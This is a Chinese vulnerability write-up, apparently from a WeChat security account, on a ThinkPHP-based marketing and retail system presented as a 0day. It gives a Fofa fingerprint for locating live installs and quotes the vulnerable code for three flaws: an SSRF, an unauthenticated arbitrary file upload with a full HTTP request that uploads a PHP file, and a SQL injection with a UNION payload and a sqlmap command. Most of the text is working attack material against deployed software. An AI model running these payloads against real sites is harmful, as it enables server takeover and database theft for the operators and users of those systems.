0x00 前言
拓客新零售系统是一套帮助商家自动匹配客户订单的营销推送工具，实现任何商家和客户都可以免费使用的全自动营销系统！既是为所有客户提供的一套自动匹配互粉的推送工具.
Fofa:"/Public/Xin/static/css/iconfont.css"
框架:ThinkPHP 3.2.3 Debug:True
0x01 前台SSRF漏洞
位于 /Application/Home/Controller/LoginController.class.php 控制器的otcurl方法存在curl_exec函数，且传参均可控，导致漏洞产生.
//须弥大呲花 2018年4月28日16:40:38public function otcurl($url,$params=false,$ispost=0){$httpInfo = array();$ch = curl_init();curl_setopt( $ch, CURLOPT_HTTP_VERSION , CURL_HTTP_VERSION_1_1 );curl_setopt( $ch, CURLOPT_USERAGENT , 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22' );curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT , 30 );curl_setopt( $ch, CURLOPT_TIMEOUT , 30);curl_setopt( $ch, CURLOPT_RETURNTRANSFER , true );if( $ispost ){curl_setopt( $ch , CURLOPT_POST , true );curl_setopt( $ch , CURLOPT_POSTFIELDS , $params );curl_setopt( $ch , CURLOPT_URL , $url );}else{if($params){curl_setopt( $ch , CURLOPT_URL , $url.'?'.$params );}else{curl_setopt( $ch , CURLOPT_URL , $url);}}$response = curl_exec( $ch );if ($response === FALSE) {//echo "cURL Error: " . curl_error($ch);return false;}$httpCode = curl_getinfo( $ch , CURLINFO_HTTP_CODE );$httpInfo = array_merge( $httpInfo , curl_getinfo( $ch ) );curl_close( $ch );return $response;}
Payload:
0x02 前台任意文件上传漏洞
位于 /Common/Common/function.php 中有一处文件上传的操作，且未有任何过滤，我们全局搜索一下调用该函数的文件.
function upload_file($files,$type){$name = array_keys($files);$name = $name[0];$ext = extend($files[$name]['name']);$img_url = "./Uploads/txt/".date('Y-m-d',time()).'/';if (!file_exists($img_url)) {mkdir($img_url,0777,true);//echo $img_url; die;}$image_name = time().rand(100,999).".".$ext;//图片名字$tmp = $files[$name]['tmp_name'];//临时名字if(move_uploaded_file($tmp,$img_url.$image_name)){$arr['re']=ltrim($img_url.$image_name,'.');$arr['code']=200;return $arr;// return ltrim($img_url.$image_name,'.');}else{return 'error';}}
//须弥大呲花 2018年6月19日11:23:19 上传public function shangchuan(){// var_dump($_FILES);exit;echo json_encode(upload_file($_FILES,'image'));}
Payload:
POST /Login/shangchuan HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 197Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBP56KuZOdlY4nLGgHost: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/Login/shangchuanSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1------WebKitFormBoundary03rNBzFMIytvpWhyContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/jpeg<?php phpinfo();?>------WebKitFormBoundary03rNBzFMIytvpWhy--
0x03 前台SQL注入漏洞
需要前台用户登录权限
位于 /Home/Controller/MemberController.class.php 控制器中的 my_up_level 方法 通过$_GET传入变量$phone 并直接拼接进SQL语句，导致注入产生.
/** 闯关记录* 2019年3月5日11:33:20 author:CL*/public function my_up_level(){$prefix = C('DB_PREFIX'); //获取数据库前缀$where = "ul.member_id='".session('member_id')."'";if($_GET['phone']!='') $where .= " and (l.member_phone='".$_GET['phone']."' or l.member_name='".$_GET['phone']."')";$this->assign('get', $_GET);$field = "ul.*,from_unixtime(ul.add_time,'%Y.%m.%d %H:%i:%s') as add_time,from_unixtime(ul.qr_time,'%Y.%m.%d %H:%i:%s') as qr_time,from_unixtime(ul.su_time,'%Y.%m.%d %H:%i:%s') as su_time,le.level_title,l.member_name as qr_name,l.member_phone as qr_phone,l.member_img as qr_img,l.wx_name as qr_wx,l.zfb_name as qr_zfb";// 全部$all = M('member_up_level')->alias('ul')->join(array("left join ".$prefix."member_list l on l.member_id=ul.qr_id","left join ".$prefix."member_level le on le.id=ul.level"))->where($where)->field($field)->order("ul.id desc")->select();if(!empty($all)){foreach($all as $k=>$v){if ($v['check_status'] == 2) {$v['state_title'] = '已确认';} elseif ($v['check_status'] == 1) {$v['state_title'] = '未确认';} elseif ($v['check_status'] == 3){$v['state_title'] = '已拒绝';}$all[$k] = $v;}}$this->assign('all',$all);$this->assign('all_num',count($all));// 待审核$dsh = M('member_up_level')->alias('ul')->join(array("left join ".$prefix."member_list l on l.member_id=ul.qr_id","left join ".$prefix."member_level le on le.id=ul.level"))->where($where." and ul.state='1'")->field($field)->order("ul.id desc")->select();$this->assign('dsh',$dsh);$this->assign('dsh_num',count($dsh));// 审核成功$shcg = M('member_up_level')->alias('ul')->join(array("left join ".$prefix."member_list l on l.member_id=ul.qr_id","left join ".$prefix."member_level le on le.id=ul.level"))->where($where." and ul.state='2'")->field($field)->order("ul.id desc")->select();$this->assign('shcg',$shcg);$this->assign('shcg_num',count($shcg));// 审核失败$shsb = M('member_up_level')->alias('ul')->join(array("left join ".$prefix."member_list l on l.member_id=ul.qr_id","left join ".$prefix."member_level le on le.id=ul.level"))->where($where." and ul.state='3'")->field($field)->order("ul.id desc")->select();$this->assign('shsb',$shsb);$this->assign('shsb_num',count($shsb));$this->display();}
打个单引号直接就报错了，这里肯定有注入的
Payload(记得登录):
GET /member/my_up_level?phone=%27%29%29%20UNION%20ALL%20SELECT%20CONCAT%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20NCHAR%29%2C0x20%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--%20- HTTP/1.1Cache-Control: no-cacheCookie: PHPSESSID=6qc94pq3rvpu490r1doentg66aUser-Agent: sqlmap/1.8.2.1#dev (https://sqlmap.org)Host: 127.0.0.1Accept: */*Accept-Encoding: gzip, deflateConnection: close
sqlmap语句(注意这里要带上登录后的Cookie)：
python sqlmap.py -u "http://127.0.0.1/member/my_up_level?phone=*" --level=3 --dbms=mysql --cookie "PHPSESSID=6qc94pq3rvpu490r1doentg66a"
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原文始发于微信公众号（星悦安全）：创客13星零售商城系统RCE漏洞审计(0day)
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